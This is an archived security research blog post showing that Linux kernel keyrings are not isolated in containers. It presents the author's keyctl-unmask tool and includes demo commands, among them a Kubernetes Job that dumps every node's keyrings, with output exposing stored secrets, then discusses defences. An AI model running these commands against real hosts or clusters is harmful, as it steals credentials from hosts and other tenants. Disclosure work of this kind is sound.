"Going Florida" on The State Of Containerizing Linux Keyrings

Archived: 2026-04-02 10:52:06 UTC

TL;DR

- **The Linux Kernel keyring is known to be a security issue for containers**
- **Download my tool for breaking out of a container to steal all the host keys here: keyctl-unmask**
- **We can use this in Kubernetes to steal all node keys as well**

Have you ever wanted to steal all the secrets from a Linux host from within a container? Sure we all have. Lets do it at scale and share a tool that speeds this up during security assessments.

Container security folks (David Howells) have known that the Keyctl syscall executed from within containers is problematic because there is no inherent way to isolate the Linux Kernel's keyrings and keys which are designed to be used to store sensitive content. This means that container runtimes have to bolt on defenses to try and prevent the keys from being leaked into a container.

You may find it surising how often Linux Kernel Keyrings are. (At least I was.) For example Kerberos often uses this extensively, products from companies like Cyberark rely on the security of these keyrings, and even Systemd uses it.

The tool I'm sharing `keyctl-unmask` will show you how to expose these keys even from within a container.

Keyctl and Containers

The `keyctl(2)` syscall is an API for users to interact with Linux kernel keyrings. These keyrings are designed to store sensitive information per user, session, thread, or process. Along with the syscall interface, there is a procfs mount on most systems under `/proc/keys` that provides a list of all the keys your accounts has permission to view.

For containers, this was deemed a security risk (and you might agree) because you don't want your containers to be able to access the private keys of the host or other containers.

One part of the original fix for this was to simply "mask" `/proc/keys` so that `cat /proc/keys` wouldn't return any results.

Keyctl-unmask shows what happens when you allow any container the ability to issue keyctl syscalls.

Container Keyctl Security History

I believe that the history of the containers trying to protect itself from syscalls goes like this:

1. Docker initially didn't block keyctl syscalls or protect `/proc/keys` at all so any user could list the host's keys

2. In 2014, someone finds a memory corruption bug in the Linux Kernel using the `keyctl` syscall
3. Jesse Frazelle addresses this issue by adding `keyctl` to the list of syscalls blocked by Docker's default seccomp profile. This is successful and we should still use it today!
4. Around this time it appears that Docker also realizes they should protect the host keys so they mask over `/proc/keys` so that if you were to `cat /proc/keys` you wouldn't see any results
5. In 2016, `stefanberger` starts an Epic Discussion that results in `runc` creating a new session key per container. Cool! That sounds like a security move except it has no impact in reality:

> "With the patch, each container gets its own session keyring. However, it does work better with user namespaces enabled than without it. With user namespaces each container has its own session keyring _ses and a 'docker exec' joins this session keyring. **Without user namespaces enabled, each container also gets a session keyring on 'docker run' but a 'docker exec' again joins the first created session keyring so that containers share it.** The advantage still is that it's not a keyring shared with the host, even though in the case that user namespaces are not enabled, the containers end up sharing a session keyring upon 'docker exec.'"

6. In a patch appears to have been added that allows you to do Keys Namespaces but containers have yet to leverage it.
7. Just a few days ago, a proposal is in progress for Linux kernel support for keyctl within containers. This is a pretty exciting read.

So as of today, your container runtime will likely create it's own session keyring per container and the `/proc/keys` path will be masked. I'll try to explain why this doesn't do much to secure the keyrings. But also note that seccomp being enabled or user namespace being enabled successfully mitigates this threat.

Built In Defense

First, let me summarize how keyrings are protected on a host:

- A keyring stores a group of keys. Keys are what store the private information
- Each keyring/key has a permission set on it that applies to the "possesser", the UID, and the GID.
- "Possessing" the key means that the keyring is "linked" to your session keyring.
- Even if you are root, if you don't "possess" the key, you can't read it.
- But the root user can always possess a keyring
- But you need to know the keyring ID in order to try and link it

In short, the Keyctl API is smoke and mirrors. If you have root, in a container*, you can access any key on the host with some extra steps.

Next, let me show you how you can automate those extra steps:

Keyctl-unmask Docker Demo

This will demonstrate how you can brute force all the keys of a host and take over every keyring. `keyctl-unmask` does the following to unmask all the keys on the host:

- brute forcing an `int32` to guess the keyring ID's
- asking the Linux kernel for information about the keyring (describe_keyid)
- if they're found try to "Possess" them and subsequently read the keys of other containers (link)
- … and even worse, the host

To demo this, in one container (we'll call secret-server), create a new key representing a secret stored by a container:

```
 docker run --name secret-server -it --security-opt \
    seccomp=unconfined antitree/keyctl-unmask /bin/bash

> keyctl add user antitrees_secret thetruthisiliketrees @s
911117332
> keyctl show
Session Keyring
 899321446 --alswrv      0     0  keyring: _ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852
 911117332 --alswrv      0     0   \_ user: antitrees_secret
```

```
 root@keyctl-attacker:/# keyctl-unmask -min 0 -max 999999999
10 / 10 [----------------------------------------------------------------------------] 100.00% ? p/s 0s
Output saved to:  ./keyctl_ids
root@keyctl-attacker:/# cat keyctl_ids
```

```
 {
 "KeyId": 899321446,
 "Valid": true,
 "Name": "_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\u0014\ufffdN6",
 "Byte_Content": "FIxONg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 911117332,
   "Valid": true,
   "Name": "antitrees_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisiliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lsaWtldHJlZXM=",
```

```
  "Comments": null,
  "Subkeys": null
 }
]
```

Kubernetes Demo

What's a container tool without an ability to run in Kubernetes. This shows how to use a Kubernetes Job to run this tool on every single Node in a cluster, mount a persistent volume claim, and dump all the keyrings for each node onto it. Then you can simple jump into the Pod and read the results:

```
keyctl apply -f https://github.com/antitree/keyctl-unmask/examples/k8s/keyctl-unmask-job.yaml
```

```
kubectl exec -it -n test keyctl-unmask-debug-pod -- /bin/bash
> cat /keyctl-output/$NODE_NAME
{
 "KeyId": 899321446,
 "Valid": true,
 "Name": "_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852",
 "Type": "keyring",
...
```

Defense and Conclusions

As I've noticed in my other long posts, there's an inverse relationship between people that will @ me on Twitter and people that have read my entire post but I'll try to explain the caveats clearly.

1. **Seccomp is a valid defense**: Docker's defaults seccomp profile disables keyctl syscalls completely making it an effective defense. My counter argument is that there is still a lot of things that run containers without it enabled and this is not a Docker specific issue. But of course, as of writing this, Kubernetes still does not support seccomp by default so IMHO, a security control that can be disabled, can't be relied on.
2. **User namespacing is also a valid defense**: This creates a seprate namespace for your UID from within a container and maps it to a different ID on the host. The counter argument is of course, the popular container projects, Docker, Kubernetes, do not use this and enabling it breaks so many other things. There's also an edge case here where if your user namespace remapping was misconfigured, it would allow a container to obtain the persistent keys of another user by accident. The whole thing just isn't going to work at scale.
3. **The future of containerized keyrings is bright**: The root cause here is that keyctl syscalls are not namespaced. New work is aiming to fix that and even newer work (as of a few days ago) is working to finalize a true container-aware keyctl API that would even let a container create assign a key into the container during init. This is a pretty exciting fix and David Howells should get much of the credit.

Here are some other projects that seem to be using keyctl syscalls (but don't hate on them, IDK if they need to run in containers but I know they shouldn't be):

- `azcopy` for Azure
- This container image processing library
- systemd unit files
- trezord
- neo4j
- kerberos
- cyberark
- sssd-common
- nfs-common
- ceph-common
- libecryptfs1
- ecryptfs-utils
- cifs-utils
- Google fscryptctl

Further Reading

- **Keyctl-Unmask**
- Blog About this Issue in 2014
- Overview and Recent Developers of Keyrings Subsystem
- Indepth discussion on keys and how Posession works and is important
- keyctl(2) Syscall Man Page
- keyctl from keyutils usage page
- Linux Kernel Keys and Keyrings Documentation
- Example using keyctl to access keysa
- IBM Blog covers syscalls used by keyctl
- Linux Kernel Trusted and Encrypted Docs
